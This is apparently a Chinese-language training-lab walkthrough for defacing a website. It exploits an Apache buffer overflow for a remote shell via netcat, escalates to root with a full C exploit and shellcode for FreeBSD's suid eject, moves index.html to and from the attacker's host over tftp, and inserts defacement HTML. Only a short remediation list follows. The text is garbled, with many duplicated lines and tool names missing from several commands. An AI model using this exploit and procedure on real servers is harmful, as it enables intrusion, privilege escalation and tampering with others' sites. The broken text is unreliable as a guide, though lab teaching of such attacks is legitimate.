Web服务首页篡改
Apache HTTP Server是最流行的开放源码WEB服务器系统之一,它是由Apache Group开发、发布并支持的。Apache HTTP Server支持静态编译及动态模块加载2种方式,在其某些特定版本中的动态模块存在缓冲区溢出漏洞,攻击者会利用此漏洞达到对WEB服务器进行攻击或执行指定程序的目的。
实验目的
∙ 通过本实验使读者了解WEB服务器的安全漏洞以增强安全意识。
实验拓扑
实验准备
∙ 向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。用nc工具连接远程端口获得shell,本地提权后,上传篡改后的主页。
1.下载实验中使用的工具:远程溢出工具 、NetCat 1.11 for Windows (网络瑞士军刀)、Tftpd Server。
【说明】
远程溢出工具
向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。
NetCat 1.11 for Windows (网络瑞士军刀)
一款小巧精悍的网络实用工具,常用来进行远程shell连接或被动接收连接以提供shell通道,
【说明】
远程溢出工具
向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。
NetCat 1.11 for Windows (网络瑞士军刀)
一款小巧精悍的网络实用工具,常用来进行远程shell连接或被动接收连接以提供shell通道,
或者用来作为小巧的telnet客户端使用。
Tftpd Server
一款支持tftp协议的服务端工具,用以上传或下载文件(tftp 协议)。
Tftpd Server
一款支持tftp协议的服务端工具,用以上传或下载文件(tftp 协议)。
实验步骤
访问目标主机的HTTP服务
步骤说明:
确保输入的协议及地址是正确的
1.打开浏览器,访问目标主机的 HTTP 服务,如:图1
图1
探测目标主机WEB服务信息
步骤说明:
输入 GET /abcdefg HTTP/1.0 并连续输入两次回车(Enter),可以从返回中获取服务器
1.开启一个命令行窗口,用 nc.exe 程序连接目标主机的 80 端口
命令格式:
命令格式:
nc.exe 目标IP 80 |
如:图2
图2
用 尝试远程溢出
步骤说明:
命令格式为 -t 目标主机IP地址。
1.运行 ,如:图3
图3
注:
∙ 因apache服务为多进程服务,溢出程序可能需要尝试多次搜索地址空间,若失败,请多尝试几次。
溢出成功,用NetCat 连接
步骤说明:
命令格式为 nc.exe 目标主机IP地址 目标端口。
1.如:图4、图5,连接上以后,我们做如下操作:
a). 用 id 命令看当前帐户信息,看到 uid=1001, gid=1001,是普通权限。
b). 用 w 命令看当前有谁在线,看到两个远程登录连接。
c). 用 pwd 命令看当前所在目录。
d). 用 uname -a 看当前操作系统的信息,看到是 FreeBSD 4.8 Release 版本,未打补丁。
e). 切换目录至 /tmp 下,准备编写提权程序。
a). 用 id 命令看当前帐户信息,看到 uid=1001, gid=1001,是普通权限。
b). 用 w 命令看当前有谁在线,看到两个远程登录连接。
c). 用 pwd 命令看当前所在目录。
d). 用 uname -a 看当前操作系统的信息,看到是 FreeBSD 4.8 Release 版本,未打补丁。
e). 切换目录至 /tmp 下,准备编写提权程序。
图4
图5
提升权限
步骤说明:
FreeBSD 老版本上的 eject 程序存在缓冲区溢出漏洞,可被本地程序利用以提升权限。
eject 程序具有suid 位,在有问题的版本中未对用户输入的参数进行有效检测,
导致溢出后eip指向精心构造的shellcode 入口,进而提权成功。
eject 程序具有suid 位,在有问题的版本中未对用户输入的参数进行有效检测,
导致溢出后eip指向精心构造的shellcode 入口,进而提权成功。
1.编写提权代码,如:图6
图6
图中所用代码如下:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BOF_LEN 1260 extern char** environ; int main( void ) { char buf[BOF_LEN]; char* ptr; char* arg[4]; unsigned int ret = 0xbfbfeead; char shellcode[] = "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd" "\x80\xe8\xe4\xff\xff\xff/bin/sh"; char envshell[4096]; memset( envshell, 0x90, 4096 ); memcpy( envshell + 4096 - strlen( shellcode ), shellcode, strlen( shellcode ) ); envshell[4096] = 0x0; memcpy( envshell, "VULN=", 5 ); putenv( envshell ); memset( buf, 0x41, BOF_LEN - 1 ); *(unsigned int *)(buf + BOF_LEN - 5) = ret; *(buf + BOF_LEN - 1) = 0x0; arg[0] = "/usr/local/sbin/eject"; arg[1] = "-t"; arg[2] = buf; arg[3] = NULL; execve (arg[0], arg, environ); return( 0 ); } |
2.编译提权代码,运行提权程序,如:图7
用 gcc 编译源代码,然后执行 ./ex,输入 id 命令后可以看到 euid=0,输入whoami 命令可以看到已经是 root了。
当然,现在这样还不是完全的 root 权限,但是对于篡改首页来说已经够了。
进一步提权的详细信息可参看《Linux 系统漏洞利用》这一课的内容。
用 gcc 编译源代码,然后执行 ./ex,输入 id 命令后可以看到 euid=0,输入whoami 命令可以看到已经是 root了。
当然,现在这样还不是完全的 root 权限,但是对于篡改首页来说已经够了。
进一步提权的详细信息可参看《Linux 系统漏洞利用》这一课的内容。
注:
∙ 执行 ex 程序时记得前面的 “./ ”两个符号。
图7
篡改网站首页
步骤说明:
通过使用 /usr/sbin/pkg_info 命令查 web 服务的配置文件,从配置文件中定位 web 页面的存储根路径,用 Tftpd 实用程序将首页文件从服务器上下载到本地进行修改(篡改),然后再回传到服务器上覆盖原首页文件。
1.寻web服务器的配置文件存储路径,如:图8
a). 用 /usr/sbin/pkg_info | grep apache 命令查 apache 包的完整名称。
b). 用 /usr/sbin/pkg_info -p 包完整名称 来查看apache安装的根路径,在图中可以看到是 /usr/local。
c). 用 /usr/sbin/pkg_info -f 包完整名称 | f 查看配置文件所在的路径,看到是 %D/etc/f,
a). 用 /usr/sbin/pkg_info | grep apache 命令查 apache 包的完整名称。
b). 用 /usr/sbin/pkg_info -p 包完整名称 来查看apache安装的根路径,在图中可以看到是 /usr/local。
c). 用 /usr/sbin/pkg_info -f 包完整名称 | f 查看配置文件所在的路径,看到是 %D/etc/f,
其中的 %D 就是前面得到的 /usr/local。
综上,apache 服务器的配置文件为 /usr/local/etc/f。
图8
2.寻网站页面文件存储路径,如:图9
a). 用 cat /usr/local/etc/f | grep DocumentRoot | grep -v “#” 来查页面根路径,
如图9,我们得到的路径为:/usr/local/www/data。
b). 用 cd /usr/local/www/data 切换目录到网站页面根路径。
c). 用 ls -al index.html 命令查看首页是否在当前路径下,我们看到 index.html 在当前路径下。
注:
∙ UNIX系统的命令行是大小写敏感的,因此输入命令及参数时注意区分大小写 上面的命令中 grep -v ”#”
的含义是排除含”#”的行。
的含义是排除含”#”的行。
图9
3.用 Tftpd 实用程序传输文件
[将index.html传输到本地]
a). 在本地的windows主机上启动 ,如:图10
a). 在本地的windows主机上启动 ,如:图10
图10
b). 在执行 nc.exe 的窗口中将 index.html 传输到本地windows主机,如:图11
I). 输入 tftp 命令进入 tftp 客户端程序。
II). 输入connect 本地windows主机IP地址建立连接。
III). 输入binary命令设置传输模式为二进制传输。
IV). 输入put index.html命令将当前目录下的index.html文件传输到本地windows主机。
图11
c). 我们可以在 程序的 Log Viewer窗口看到传输信息,并在 的同级目录中看到传上来的index.html文件,如:图12
图12
[修改index.html文件]
d). 用编辑工具打开 index.html 文件,如记事本,查“<BODY”字符串所在位置,如:图13
d). 用编辑工具打开 index.html 文件,如记事本,查“<BODY”字符串所在位置,如:图13
图13
e). 在 <BODY ……>后面插入信息:
<table cellSpacing=0 cellPadding=0 width=975 border=0><tr><td height=100px align=center valign=middle><font color=red size=14>这行内容是被篡改的!</font></td></tr></table> 如:图14
<table cellSpacing=0 cellPadding=0 width=975 border=0><tr><td height=100px align=center valign=middle><font color=red size=14>这行内容是被篡改的!</font></td></tr></table> 如:图14
图14
f). 查页面编码,修改为简体中文(GB2312),若已为中文编码,则不需要再更改,如:图15及图16
图15
图16
[将修改后的index.html传输到远程主机]
g). 在执行 nc.exe 的窗口中将修改后的 index.html 传输到远程主机,如:图17
g). 在执行 nc.exe 的窗口中将修改后的 index.html 传输到远程主机,如:图17
图17
h). 执行 get index.html 命令将修改完的 index.html文件下载到远端主机,覆盖原文件。
我们可以在 程序的 Log Viewer窗口看到传输信息,如:图18
我们可以在 程序的 Log Viewer窗口看到传输信息,如:图18
图18
查看修改后的页面
步骤说明:
我们可以用浏览器访问修改后的页面来查看修改后的效果。
1.打开浏览器,访问目标主机的 HTTP 服务,如:图19
图19
退出root shell,断开连接
1.顺序执行下述操作,如:图20
a). 输入 quit 退出 tftp 客户端程序。主页被篡改怎么办
b). 输入 exit 退出通过溢出获得到的 root shell。
c). 再次输入 exit 断开连接。
a). 输入 quit 退出 tftp 客户端程序。主页被篡改怎么办
b). 输入 exit 退出通过溢出获得到的 root shell。
c). 再次输入 exit 断开连接。
图20
解决方案
1.对系统进行加固,更新有问题的服务程序。
2.做双向ACL,拒绝非法端口访问。
3.对有问题的内核打补丁或升级内核。
发布评论